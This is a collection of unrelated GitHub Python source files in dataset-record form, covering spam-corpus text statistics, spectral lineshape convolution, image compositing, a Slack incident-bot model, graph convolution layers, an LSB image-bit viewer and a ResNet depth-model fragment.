down\")\n    sys.exit(1)\nindex_result = index_result[\"results\"]\n\nnum_index = reduce(lambda accum, item: accum + (1 if item[\"index\"] else 0), index_result, 0)\nprint(\"Will index %s files, skipping %s\" % (num_index, len(index_result) - num_index))\n\nfor index_request in index_result:\n    if index_request[\"index\"]:\n        index_update_response = requests.post(API_URL +\n                     \"index/update/\",\n                     headers = token_header,\n                     data = {\"metadata\":json.dumps({\"hash\":index_request[\"hash\"]})},\n                     files = {\"file\" : io.BytesIO(add_file_infos[index_request[\"hash\"]][\"data\"])}).json()\n        print(\"Indexed %s (%s): %s\" % (index_request[\"hash\"],\n                                       add_file_infos[index_request[\"hash\"]][\"paths\"], index_update_response))\n\nrequest_data = []\nfor h, d in delete_file_infos.items():\n    for path in d[\"paths\"]:\n        request_data.append({\"hash\":h, \"path\":path})\n\nprint(\"Found %s paths to delete\" % len(delete_file_infos))\n\ndelete_result = requests.post(API_URL + \"index/delete/\",\n                            data=json.dumps(request_data),\n                            headers = dict({'content-type': 'application/json'}, **token_header)).json()\nif not delete_result[\"success\"]:\n    print(\"Delete request failed! Shutting down\")\n    print(delete_result.content)\n    sys.exit(1)\n\nfor h, d in delete_file_infos.items():\n    for path in d[\"paths\"]:\n        print(\"Deleted %s (%s)\" % (h, path))\n\nprint(\"Job well done!\")","repo_name":"totalorder/docloud","sub_path":"web/http_client.py","file_name":"http_client.py","file_ext":"py","file_size_in_byte":3213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"25539258887","text":"import os\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n# %%\n\npath = r\"F:\\Загрузки\\sms-spam-corpus.csv\"\ndf = pd.read_csv(path, encoding='latin1', names=[\"v1\", \"v2\", \"A\", \"B\", \"C\"])\ndf.head(10)\n\n# %%\n\nimport re\n\ndf['v2'].replace(regex=True, inplace=True, to_replace=r'[^a-zA-Z^ \\t\\n\\r]', value=r'')\ndf['v2'] = df['v2'].astype(str).map(lambda x: x.lower())\n\ndf.head()['v2']\n\n# %%\n\nlineofsw = \"''a,to,the,in,have,has,had,do,does,did,am,is,are,shall,will,should,would,may,might,must,can,could,a,to,the,in,be,being,been\"\n\nstop_words = lineofsw.split(',')\n\ndf['v2'] = df['v2'].apply(lambda x: ' '.join([word for word in x.split(' ') if word not in stop_words]))\n\ndf.head()['v2']\n\n# %%\n\nimport nltk\n\nps = nltk.stem.SnowballStemmer('english')\ndf['v2'] = df['v2'].apply(lambda x: ' '.join([ps.stem(word) for word in x.split(' ')]))\n\ndf.to_csv('dataset.csv', index=False)\ndf.head()['v2']\n\n# %%\n\nfrom collections import defaultdict\n\nfilewithham = open('ham.txt', 'w')\nfilewithspam = open('spam.txt', 'w')\n\nham = df[df['v1'] == 'ham']['v2']\nspam = df[df['v1'] == 'spam']['v2']\n\nhamdict = defaultdict(int)\nspamdict = defaultdict(int)\n\nfor sentence in ham:\n    for word in sentence.split():\n        hamdict[word] += 1\n\nfor key, item in hamdict.items():\n    filewithham.write('{} {}'.format(key, item) + '\\n')\n\nfor sentence in spam:\n    for word in sentence.split():\n        spamdict[word] += 1\n\nfor key, item in spamdict.items():\n    filewithspam.write('{} {}'.format(key, item) + '\\n')\n\nham_len = hamdict.keys()\nspam_len = spamdict.keys()\n\n# %%\n\nimport seaborn as sns\n\nfig, ax = plt.subplots()\n\nham_data = [len(x) for x in ham_len]  # data\nfilewithham = pd.DataFrame({'ham_len': ham_data})  # dataframe\nfig = sns.distplot(filewithham['ham_len']);  # name\nfig.figure.savefig('fig_1.png')  # save\n\n# %%\n\nplt.hist(filewithham['ham_len'])\nplt.xlabel('ham words')\nplt.ylabel('len')\nplt.tight_layout()\nplt.savefig('fig_2.png')\n\n# %%\n\nspam_data = [len(x) for x in spam_len]\nfilewithspam = pd.DataFrame({'spam_len': spam_data})\n\nfig = sns.distplot(filewithspam['spam_len']);\nfig.figure.savefig('fig_3.png')\n\n# %%\n\nplt.hist(filewithspam['spam_len'])\nplt.xlabel('spam words')\nplt.ylabel('len')\nplt.tight_layout()\nplt.savefig('fig_4.png')\n\n# %%\n\nimport numpy as np\n\nprint('Ham mean: {} | Spam mean: {}'.format(np.mean(ham_data), np.mean(spam_data)))\n\n# %%\n\nham_msg = [len(x) for x in ham]\nfilewithham = pd.DataFrame({'ham_msg': ham_msg})\nfig = sns.distplot(filewithham['ham_msg']);\nfig.figure.savefig('fig_5.png')\n\n# %%\n\nplt.hist(filewithham / filewithham.count())\nplt.xlabel('ham msg')\nplt.ylabel('len')\nplt.tight_layout()\nplt.savefig('fig_6.png')\n\n# %%\n\nspam_msg = [len(x) for x in spam]\nfilewithspam = pd.DataFrame({'spam_msg': spam_msg})\nfig = sns.distplot(filewithspam['spam_msg']);\nfig.figure.savefig('fig_7.png')\n\n# %%\n\nplt.hist(filewithspam['spam_msg'])\nplt.xlabel('spam msg')\nplt.ylabel('len')\nplt.tight_layout()\nplt.savefig('fig_8.png')\n\n# %%\n\nprint('Ham msg mean: {} | Spam msg mean: {}'.format(np.mean(ham_msg), np.mean(spam_msg)))\n\n# %%\n\nlist_ham = list(hamdict.items())\nlist_ham.sort(key=lambda i: i[1])\nlist_ham = list_ham[-20:]\nlist_ham = dict(list_ham)\n\nlist_spam = list(spamdict.items())\nlist_spam.sort(key=lambda i: i[1])\nlist_spam = list_spam[-20:]\nlist_spam = dict(list_spam)\n\n# %%\n\nplt.bar(list_ham.keys(), list_ham.values(), color='black')\nplt.xticks(rotation=90);\nplt.savefig('fig_9.png')\n\n# %%\n\nplt.bar(list_spam.keys(), list_spam.values(), color='blue')\nplt.xticks(rotation=90);\nplt.savefig('fig_10.png')\n\n# %%\n\n\n# %%\n\n\n# %%\n\n\n# %%\n\n\n# %%\n\n\n# %%\n\n\n","repo_name":"innastp00/datamining2021stepanenkolab3","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"25146887422","text":"from scipy import signal\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport random\n\n\ndef width_Voigt(dwL,dwG):\n    #returns width ofVoigt profile from Lorentzian with width dwL and Gaussian with width dwG\n    return 0.5*dwL**2 + np.sqrt(0.2*dwL**2 + dwG**2)\n\ndef Gaussian(w,w0,dw):\n    return ((2*np.sqrt(np.log(2)/np.pi))/dw)*np.exp(-4*np.log(2)*(w-w0)**2/dw**2)\n    \ndef Lorentzian(w,w0,dw):   \n    return (2/(np.pi*dw))*(dw**2)/(dw**2+4*(w-w0)**2)\n\ndwG=0.5\ndwL=0.7\nw=np.linspace(0,100,10000) \ngauss=Gaussian(w,50,dwG)\nlor=Lorentzian(w,60,dwL)\n\n\"\"\"\nplt.plot(w,gauss,label=\"gauss\")\nplt.plot(w,lor,label=\"lorentz\")\nplt.xlabel(\"w\")\nplt.ylabel(\"lineshape\")\nplt.legend()\nplt.show()\n\"\"\"\n\n#convolution\nconv= signal.convolve(lor, gauss, mode='same')\n\n#normalise\nnorm = np.linalg.norm(conv)\nconv = conv/norm\n\n\"\"\"\nplt.plot(w,gauss,label=\"gauss\")\nplt.plot(w,lor,label=\"lorentz\")\nplt.plot(w,conv,label=\"convolution\")\nplt.xlabel(\"w\")\nplt.ylabel(\"lineshape\")\nplt.legend()\nplt.show()\n\"\"\"\n\ndef FWHM(x,y):\n    #returns width\n    d = y - (max(y) / 2) \n    indexes = np.where(d > 0)[0] \n    return abs(x[indexes[-1]] - x[indexes[0]])\n\nprint(width_Voigt(dwL,dwG))\nprint(FWHM(w,conv))\n\n#extension\nwidths=[]\nfwhms=[]\nfor i in range(200):\n    #create scatter plot with random widths\n    dwL=random.random()\n    dwG=random.random()\n    gauss=Gaussian(w,50,dwG)\n    lor=Lorentzian(w,60,dwL)\n    conv= signal.convolve(lor, gauss, mode='same')\n    widths.append(width_Voigt(dwL,dwG))\n    fwhms.append(FWHM(w,conv))\n\n\nplt.scatter(np.array(fwhms),np.array(widths))\nplt.ylabel(\"Voigt width\")\nplt.xlabel(\"FWHM convolution\")\nplt.show()\n\n\n","repo_name":"MaikeLenz/Laser-Exercises","sub_path":"Exercise 1/1_2Voigt.py","file_name":"1_2Voigt.py","file_ext":"py","file_size_in_byte":1615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"34848210930","text":"from PIL import Image\n\n#CONTADORES\nfo = 1\nbr = 1\nbo = 1\noj = 1\n\n#Medidas 626x684\n\nfondo = 'f'+str(fo)+'.png'\nbrazo = 'br'+str(br)+'.png'\nojo = 'o'+str(oj)+'.png'\nboca = 'bo'+str(bo)+'.png'\n\nimg_fondo = Image.open(fondo)\nimg_brazo = Image.open(brazo)\nimg_ojo = Image.open(ojo)\nimg_boca = Image.open(boca)\n\n\n\"\"\"\ndimensiones = (100,100)\nimg_ok_resize = img_ok.resize(dimensiones)\n#img_ok_redimensionada.save('ok_redimen.png')\n\"\"\"\n\n#ESTA PARTE FUNCIONA BIEN. GUARDA LA IMAGEN.\n\"\"\"\nimg_fondo.paste(brazo,(0,0),brazo)\nimg_fondo.paste(ojo,(0,0),ojo)\nimg_fondo.paste(boca,(0,0),boca)\n#img_fondo.show()\nimg_fondo.save('fo'+str(fo)+'br'+str(br)+'bo'+str(bo)+'oj'+str(oj)+'.png')\n\"\"\"\n\n#while br <= 3:\n#    while bo < = 3:\n\n\n#while bo <= 3:\nfor x in range(1):\n    oj = 1\n    ojo = 'o'+str(oj)+'.png'\n    img_ojo = Image.open(ojo)\n    img_boca = Image.open(boca)\n    #for i in range (8):\n    while bo <= 8:\n        if oj <= 11:\n            img_fondo.paste(img_brazo,(0,0),img_brazo)\n            img_fondo.paste(img_ojo,(0,0),img_ojo)\n            img_fondo.paste(img_boca,(0,0),img_boca)\n            img_fondo.save('fo'+str(fo)+'br'+str(br)+'bo'+str(bo)+'oj'+str(oj)+'.png')\n            oj += 1\n            ojo = 'o'+str(oj)+'.png'\n            if oj <= 11:\n                img_ojo = Image.open(ojo)\n                img_fondo = Image.open(fondo)\n        else:\n            print('Ojo llegó a 5')\n            oj = 1\n            ojo = 'o'+str(oj)+'.png'\n            img_ojo = Image.open(ojo)  \n            bo += 1\n            boca = 'bo'+str(bo)+'.png'\n            if bo <= 8:\n                img_boca = Image.open(boca)\n","repo_name":"mersch89/prCactus1M","sub_path":"CACTUS PRUEBA.py","file_name":"CACTUS PRUEBA.py","file_ext":"py","file_size_in_byte":1604,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"41196126821","text":"#!\\usr\\bin\\env python\n# -*- coding:utf-8 -*-\n'''\nTitle: 继承unittest\nDescription: 设置setup和teardown\n@author: Xushenwei\n@update: 2018年6月11日\n'''\nimport os, unittest\nfrom selenium import webdriver\n# from Base import *\nfrom page_obj.models import Base\n\nclass IMTest(unittest.TestCase):\n    \"\"\"质检计量初始化与清理程序\"\"\"\n\n    def setUp(self):\n        self.driver = Base.browser()\n        self.driver.implicitly_wait(10)\n        \n    def tearDown(self):\n        self.driver.quit()\n\nif __name__ == \"__main__\":\n\n    IMT = IMTest()\n    IMT.setUp()\n    IMT.tearDown()\n    #unittest.main()","repo_name":"Simonluepang/Upgrading-is-the-happiest-thing","sub_path":"UserInterface/Selenium/IM_CEF/IMTestScript/IM_Test/test_case/page_obj/functions/myunit.py","file_name":"myunit.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"30358590293","text":"from __future__ import absolute_import\nfrom __future__ import unicode_literals\n\nfrom .thrift import PARQUET_THRIFT\n\n\nclass SchemaHelper(object):\n    \"\"\"\n    Utility providing convenience methods for schema_elements.\n    \"\"\"\n\n    def __init__(self, schema_elements):\n        \"\"\"\n        Initialize with the specified schema_elements.\n        \"\"\"\n        self.schema_elements = schema_elements\n        self.schema_elements_by_name = dict(\n            [(se.name, se) for se in schema_elements])\n        assert len(self.schema_elements) == len(self.schema_elements_by_name)\n\n    def get_element(self, name):\n        \"\"\"\n        Get the schema element with the given name.\n        \"\"\"\n        return self.schema_elements_by_name[name]\n\n    def is_required(self, name):\n        \"\"\"\n        Return true iff the schema element with the given name is required.\n        \"\"\"\n        return self.get_element(name).repetition_type == PARQUET_THRIFT.FieldRepetitionType.REQUIRED\n\n    def max_repetition_level(self, path):\n        \"\"\"\n        Get the max repetition level for the given schema path.\n        \"\"\"\n        max_level = 0\n        for part in path:\n            element = self.get_element(part)\n            if element.repetition_type == PARQUET_THRIFT.FieldRepetitionType.REQUIRED:\n                max_level += 1\n        return max_level\n\n    def max_definition_level(self, path):\n        \"\"\"\n        Get the max definition level for the given schema path.\n        \"\"\"\n        max_level = 0\n        for part in path:\n            element = self.get_element(part)\n            if element.repetition_type != PARQUET_THRIFT.FieldRepetitionType.REQUIRED:\n                max_level += 1\n        return max_level\n","repo_name":"andrewgross/slowparquet","sub_path":"slowparquet/schema.py","file_name":"schema.py","file_ext":"py","file_size_in_byte":1699,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"31403031177","text":"# -*- coding: utf-8 -*-\n\nimport ConfigParser\nimport os\n\n# Copyright: (C) Crown copyright 2015, the Met Office\n# License: GNU General Public License version 3 see\n# <http://www.gnu.org/licenses/>\n\nclass FormatConfig(object):\n\n    def __init__(self, dir=None):\n        if not dir:\n            dir = os.path.dirname(__file__)\n            dir = os.path.join(dir, \"..\", \"etc\")\n        self.cfg_path = os.path.join(dir, \"format.cfg\")\n\n    def config_path(self):\n        return self.cfg_path\n            \n    def read_config(self):\n        config = ConfigParser.RawConfigParser()\n        config.read(self.cfg_path)\n        cfg = {}\n        for sect in config.sections():\n            cfg[sect] = dict(config.items(sect))\n        return cfg\n","repo_name":"ES-DOC/esdoc-contrib","sub_path":"mohc/formatter/lib/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"26779585517","text":"from datetime import datetime\nfrom django.db import models\n\nfrom slack.slack_utils import get_user_profile, GetOrCreateSlackExternalUser\nfrom core.models import Incident, ExternalUser\n\n\nclass PinnedMessageManager(models.Manager):\n    def add_pin(self, incident, message_ts, author_id, text):\n        name = get_user_profile(author_id)['name']\n        author = GetOrCreateSlackExternalUser(external_id=author_id, display_name=name)\n\n        PinnedMessage.objects.get_or_create(\n            incident=incident,\n            message_ts=message_ts,\n            defaults={\n                'author': author,\n                'text': text,\n                'timestamp': datetime.fromtimestamp(float(message_ts)),\n            }\n        )\n\n    def remove_pin(self, incident, message_ts):\n        PinnedMessage.objects.filter(\n            incident=incident,\n            message_ts=message_ts,\n        ).delete()\n\n\nclass PinnedMessage(models.Model):\n    incident = models.ForeignKey(Incident, on_delete=models.CASCADE)\n    author = models.ForeignKey(ExternalUser, on_delete=models.PROTECT, blank=False, null=False)\n    message_ts = models.CharField(max_length=50, blank=False, null=False)\n    text = models.TextField()\n    timestamp = models.DateTimeField()\n\n    objects = PinnedMessageManager()\n\n    def __str__(self):\n        return f\"{self.text}\"\n","repo_name":"joshedney/slack-incident-bot","sub_path":"slack/models/pinned_message.py","file_name":"pinned_message.py","file_ext":"py","file_size_in_byte":1335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71269260581","text":"\"\"\"\n    shuffle of a list\n    The shuffle must be \"uniform,\" meaning each item in the original list must have the same probability of ending up in each spot in the final list.\n\n    Assume that you have a function get_random(floor, ceiling) for getting a random integer that is >= floor and <= ceiling.\n\n    place an item in an index by swapping it with the item currently at the index. once an item is placed at an index it can't be moved. so for the first index we choosen  items, for the second index we choose n-1 items\n\n    The Fisher-Yates shuffle is used here\n    complexity is O(n) runtime and O(1) space.\n\"\"\"\nimport random\n\ndef get_random(floor, ceiling):\n    return random.randrange(floor, ceiling + 1)\n\ndef shuffle(the_list):\n    # if it's 1 or 0 items, just return\n    if len(the_list) <= 1:\n        return the_list\n\n    last_index_in_the_list = len(the_list) - 1\n\n    # walk through from beginning to end\n    for index_we_are_choosing_for in xrange(0, len(the_list) - 1):\n\n        # choose a random not-yet-placed item to place there\n        # (could also be the item currently in that spot)\n        # must be an item AFTER the current item, because the stuff\n        # before has all already been placed\n        random_choice_index = get_random(index_we_are_choosing_for, last_index_in_the_list)\n\n        # place our random choice in the spot by swapping\n        if random_choice_index != index_we_are_choosing_for:\n            the_list[index_we_are_choosing_for], the_list[random_choice_index] = \\\n                the_list[random_choice_index], the_list[index_we_are_choosing_for]\n\n\"\"\"\n    A common first idea is to walk through the list and swap each element with a random other element\n\"\"\"\n\ndef naive_shuffle(the_list):\n\n    # for each index in the list\n    for first_index in xrange(0,len(the_list)-1):\n\n        # grab a random other index\n        second_index = get_random(0, len(the_list)-1)\n\n        # and swap the values\n        if second_index != first_index:\n            the_list[first_index], the_list[second_index] = the_list[second_index], the_list[first_index]\n","repo_name":"haeke/datastructure","sub_path":"inplace.py","file_name":"inplace.py","file_ext":"py","file_size_in_byte":2088,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70289366821","text":"import torch\nimport torch.nn as nn\nfrom torch.nn import init\n\nclass graphConv(nn.Module):\n\n\tdef __init__(self, input_features, output_features, in_dims, num_k, graph_shift):\n\t\tsuper().__init__()\n\t\tself.input_features = input_features\n\t\tself.output_features = output_features\n\t\tself.num_k = num_k\n\t\tself.graph_shift = graph_shift\n\t\t# self.weight = Parameter(torch.Tensor(num_k, input_features, output_features))\n\t\tself.weight = Parameter(torch.Tensor(num_k, in_dims, in_dims)) #Think about this if you wish to change the input and output features\n\t\tinit.xavier_uniform(self.weight)\n\n\tdef forward(self, nodes):\n\t\t\"\"\"\n\t\tnodes -- N*D\n\t\tgraph_shift -- N*N\n\t\t\"\"\"\n\t\tout = torch.Tensor(list(nodes.size())[0], list(nodes.size())[1], self.output_features)\n\t\tfor ind in range(list(nodes.size())[0]):\n\t\t\tS = torch.eye(list(nodes.size())[1])\n\t\t\tnodes_embed = torch.zeros(list(nodes.size())[1], self.output_features)\n\t\t\tfor k in range(self.num_k):\n\t\t\t\t# nodes_embed += torch.mm(torch.mm(S, nodes[ind]), self.weight[k])\n\t\t\t\tnodes_embed += torch.mm(self.weight[k], torch.mm(S, nodes[ind]))\n\t\t\t\tS = torch.mm(S, self.graph_shift)\n\t\t\tout[ind] = nodes_embed\n\t\treturn out\n\nclass CreateLayers(nn.Module):\n\tdef __init__(self,w_init):\n\t\tsuper().__init__()\n\n\t\tself.w_init = w_init\n\n\t\tself.initializations = {\n\t\t\t\t\t\t'uniform': init.uniform_,\n\t\t\t\t\t\t'normal': init.normal_,\n\t\t\t\t\t\t'dirac': init.dirac_,\n\t\t\t\t\t\t'xavier_uniform': init.xavier_uniform_,\n\t\t\t\t\t\t'xavier_normal': init.xavier_normal_,\n\t\t\t\t\t\t'kaiming_uniform': init.kaiming_uniform_,\n\t\t\t\t\t\t'kaiming_normal': init.kaiming_normal_,\n\t\t\t\t\t\t'orthogonal': init.orthogonal_,\n\t\t\t\t\t\t'ones' : init.ones_\n\t\t}\n\t\tself.activations = nn.ModuleDict([\n\t\t\t\t['ELU', nn.ELU()],\n\t\t\t\t['ReLU', nn.ReLU()],\n\t\t\t\t['Tanh', nn.Tanh()],\n\t\t\t\t['LogSigmoid', nn.LogSigmoid()],\n\t\t\t\t['LeakyReLU', nn.LeakyReLU()],\n\t\t\t\t['SELU', nn.SELU()],\n\t\t\t\t['CELU', nn.CELU()],\n\t\t\t\t['GELU', nn.GELU()],\n\t\t\t\t['Sigmoid', nn.Sigmoid()],\n\t\t\t\t['Softmax', nn.Softmax()],\n\t\t\t\t['LogSoftmax', nn.LogSoftmax()]\n\t\t])\n\n\tdef init_weights(self,m):\n\n\t\tif type(m) == nn.Linear:\n\t\t\tself.initializations[self.w_init](m.weight)\n\n\tdef create_FCNet(self, in_dim, num_layers, h_dim, h_fn, o_dim, o_fn, keep_prob=1.0):\n\t\t'''\n\t\t\tGOAL             : Create FC network with different specifications\n\t\t\tin_dims          : number of input units\n\t\t\tnum_layers       : number of layers in FCNet\n\t\t\th_dim  (int)     : number of hidden units\n\t\t\th_fn             : activation function for hidden layers (default: tf.nn.relu)\n\t\t\to_dim  (int)     : number of output units\n\t\t\to_fn             : activation function for output layers (defalut: None)\n\t\t\tw_init           : initialization for weight matrix (defalut: Xavier)\n\t\t\tkeep_prob        : keep probabilty [0, 1]  (if None, dropout is not employed)\n\t\t'''\n\n\t\t# default active functions (hidden: relu, out: None)\n\t\tif h_fn is None:\n\t\t\th_fn = 'ReLU'\n\t\tif o_fn is None:\n\t\t\to_fn = None\n\n\t\tlayers = []\n\t\tfor layer in range(num_layers):\n\t\t\tif num_layers == 1:\n\t\t\t\tlayers.append(nn.Linear(in_dim,o_dim))  #Discusss\n\t\t\t\tif o_fn != None:\n\t\t\t\t\tlayers.append(self.activations[o_fn])\n\t\t\telse:\n\t\t\t\tif layer == 0:\n\t\t\t\t\tlayers.append(nn.Linear(in_dim,h_dim))\n\t\t\t\t\tlayers.append(self.activations[h_fn])\n\t\t\t\t\tif not keep_prob is None:\n\t\t\t\t\t\tlayers.append(nn.Dropout(keep_prob))\n\t\t\t\telif layer > 0 and layer != (num_layers-1): # layer > 0:\n\t\t\t\t\tlayers.append(nn.Linear(h_dim,h_dim)) #probably wrong\n\t\t\t\t\tlayers.append(self.activations[h_fn])\n\t\t\t\t\tif not keep_prob is None:\n\t\t\t\t\t\tlayers.append(nn.Dropout(keep_prob))\n\t\t\t\telse: # layer == num_layers-1 (the last layer)\n\t\t\t\t\tlayers.append(nn.Linear(h_dim,o_dim))\n\t\t\t\t\tif o_fn != None:\n\t\t\t\t\t\tlayers.append(self.activations[o_fn])\n\n\t\tout = nn.Sequential(*layers)\n\n\t\tif self.w_init != None:\n\t\t\tout.apply(self.init_weights)\n\t\treturn out\n\n\tdef create_GCNet(self, num_gcn_layers, graph_shift, num_k, gcn_input_features, gcn_hidden_features, gcn_output_features):\n\t\tgcn_layers = []\n\t\tfor layer in range(num_gcn_layers):\n\t\t\tif num_gcn_layers == 1:\n\t\t\t\tgcn_layers.append(graphConv(gcn_input_features, gcn_output_features, in_dims, num_k, graph_shift))\n\t\t\t\tgcn_layers.append(self.activations[h_fn]) #Can change to o_fn\n\t\t\telse:\n\t\t\t\tif layer == 0:\n\t\t\t\t\tgcn_layers.append(graphConv(gcn_input_features, gcn_hidden_features, in_dims, num_k, graph_shift))\n\t\t\t\t\tgcn_layers.append(self.activations[h_fn])\n\t\t\t\telif layer > 0 and layer != (num_gcn_layers-1):\n\t\t\t\t\tgcn_layers.append(graphConv(gcn_hidden_features, gcn_hidden_features, in_dims, num_k, graph_shift))\n\t\t\t\t\tgcn_layers.append(self.activations[h_fn])\n\t\t\t\telse:\n\t\t\t\t\tgcn_layers.append(graphConv(gcn_hidden_features, gcn_output_features, in_dims, num_K, graph_shift))\n\t\t\t\t\tgcn_layers.append(self.activations[h_fn]) #Can change to o_fn\n\n\t\tout = nn.Sequential(*gcn_layers)\n\t\treturn out\n","repo_name":"anshks/myDeepHit","sub_path":"network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":4748,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"73638566499","text":"class Solution:\n    def nthUglyNumber(self, n: int) -> int:\n        \"\"\"动态规划\n        使用三指针，相当于各自管理2或3或5的乘法，指针指在[1]上，这样可以按照从小到大的顺序得到后面的每个数\n        （因为2、3、5乘相同的数得到的是所有最小值可能出现的地方——状态转移方程）\n        \n        Parameters\n        ----------\n        n : int\n            [description]\n        \n        Returns\n        -------\n        int\n            [description]\n        \"\"\"\n        res = [1]\n        i2 = 0\n        i3 = 0\n        i5 = 0\n        for i in range(1690):\n            ugly = min(res[i2]*2, res[i3]*3, res[i5]*5)\n            res.append(ugly)\n            if res[i2]*2 == ugly:\n                i2 += 1\n            if res[i3]*3 == ugly:\n                i3 += 1\n            if res[i5]*5 == ugly:\n                i5 += 1\n\n            if i == n:\n                return res[i]\n\n\ns = Solution()\ns.nthUglyNumber(10)\n\n\n\n","repo_name":"yuboona/Leetcode-python","sub_path":"264_丑数2/nthUglyNumber.py","file_name":"nthUglyNumber.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70867098662","text":"#!/usr/bin/env python\n#-*- coding:utf-8 -*-\n#@time:  2019/12/9 6:21\n#@author:wangtongpei\n#@email: cn5036520@163.com\n\nwith open('acount2.txt', mode='w+', encoding='utf-8') as f:  #写读模式\n    f.write('jack|123\\n')\n    f.write('jack2|123\\n')\n    f.seek(0,0)   #光标回到文件开头\n    # ret = f.read()\n    for i in f:\n        print(i.split('|')[0])\n        print(i.split('|')[1].strip())  #去掉空行\n\n\n# ret = f.read() #报错\n# # ValueError: I/O operation on closed file.\n# print(ret.plit('|')[0])\n\n\n\n\n\n\n\n\n\n\n","repo_name":"cn5036518/xq_py","sub_path":"python16/day1-21/day017 面向对象-成员/作业题/02文件中用户名和密码.py","file_name":"02文件中用户名和密码.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"11940499229","text":"from PIL import Image        \n\ndef foo():\n    im=Image.open('D://01.bmp')\n    im2=im.copy()\n\n    pix=im2.load()\n    width,height=im2.size\n\n    for x in range(0,width):\n        for y in range(0,height):\n            #LSB\n            if pix[x,y]&0x1==0:\n                pix[x,y]=0 #黑\n            else:\n                pix[x,y]=255\n    im2.show()\n\nif __name__ == '__main__':\n    foo()","repo_name":"thomas-li-67/ctf-bugku2018","sub_path":"2B_5Ceng/lsb.py","file_name":"lsb.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"}
{"seq_id":"22016824855","text":"\"\"\"\nCreated on Sat Feb  3 15:32:49 2018\n\n@author: norbot\n\"\"\"\n\nimport os\n\nimport torch\nimport torch.nn as nn\nimport torch.utils.model_zoo as model_zoo\nfrom .cspn_affinity import Affinity_Propagate\nimport torch.nn.functional as F\n\n# memory analyze\nimport gc\n\n__all__ = ['ResNet', 'resnet18', 'resnet34', 'resnet50', 'resnet101',\n           'resnet152']\n\nmodel_urls = {\n    'resnet18': 'https://download.pytorch.org/models/resnet18-5c106cde.pth',\n    'resnet34': 'https://download.pytorch.org/models/resnet34-333f7ec4.pth',\n    'resnet50': 'https://download.pytorch.org/models/resnet50-19c8e357.pth',\n    'resnet101': 'https://download.pytorch.org/models/resnet101-5d3b4d8f.pth',\n    'resnet152': 'https://download.pytorch.org/models/resnet152-b121ed2d.pth',\n}\n\nmodel_path ={\n    'resnet18': 'resnet18.pth',\n    'resnet50': 'resnet50.pth'\n}\n\n# update pretrained model params according to my model params\ndef update_model(my_model, pretrained_dict):\n    my_model_dict = my_model.state_dict()\n    # 1. filter out unnecessary keys\n    pretrained_dict = {k: v for k, v in pretrained_dict.items() if k in my_model_dict}\n    # 2. overwrite entries in the existing state dict\n    my_model_dict.update(pretrained_dict)\n\n    return my_model_dict\n\n# dont know why my offline saved model has 'module.' in front of all key name\ndef remove_module(remove_dict):\n    for k, v in remove_dict.items():\n        if 'module' in k :\n            print(\"==> model dict with addtional module, remove it...\")\n            removed_dict = { k[7:]: v for k, v in remove_dict.items()}\n        else:\n            removed_dict = remove_dict\n        break\n    return removed_dict\n\ndef conv3x3(in_planes, out_planes, stride=1):\n    \"\"\"3x3 convolution with padding\"\"\"\n    return nn.Conv2d(in_planes, out_planes, kernel_size=3, stride=stride,\n                     padding=1, bias=False)\n\nclass Unpool(nn.Module):\n    # Unpool: 2*2 unpooling with zero padding\n    def __init__(self, num_channels, stride=2):\n        super(Unpool, self).__init__()\n\n        self.num_channels = num_channels\n        self.stride = stride\n\n        # create kernel [1, 0; 0, 0]\n        self.weights = torch.autograd.Variable(torch.zeros(num_channels, 1, stride, stride).cuda()) # currently not compatible with running on CPU\n        self.weights[:,:,0,0] = 1\n\n    def forward(self, x):\n        return F.conv_transpose2d(x, self.weights, stride=self.stride, groups=self.num_channels)\n\nclass BasicBlock(nn.Module):\n    expansion = 1\n\n    def __init__(self, inplanes, planes, stride=1, downsample=None):\n        super(BasicBlock, self).__init__()\n        self.conv1 = conv3x3(inplanes, planes, stride)\n        self.bn1 = nn.BatchNorm2d(planes)\n        self.relu = nn.ReLU(inplace=True)\n        self.conv2 = conv3x3(planes, planes)\n        self.bn2 = nn.BatchNorm2d(planes)\n        self.downsample = downsample\n        self.stride = stride\n\n    def forward(self, x):\n        residual = x\n\n        out = self.conv1(x)\n        out = self.bn1(out)\n        out = self.relu(out)\n\n        out = self.conv2(out)\n        out = self.bn2(out)\n\n        if self.downsample is not None:\n            residual = self.downsample(x)\n\n        out += residual\n        out = self.relu(out)\n\n        return out\n\n\nclass Bottleneck(nn.Module):\n    expansion = 4\n\n    def __init__(self, inplanes, planes, stride=1, downsample=None):\n        super(Bottleneck, self).__init__()\n        self.conv1 = nn.Conv2d(inplanes, planes, kernel_size=1, bias=False)\n        self.bn1 = nn.BatchNorm2d(planes)\n        self.conv2 = nn.Conv2d(planes, planes, kernel_size=3, stride=stride,\n                               padding=1, bias=False)\n        self.bn2 = nn.BatchNorm2d(planes)\n        self.conv3 = nn.Conv2d(planes, planes * 4, kernel_size=1, bias=False)\n        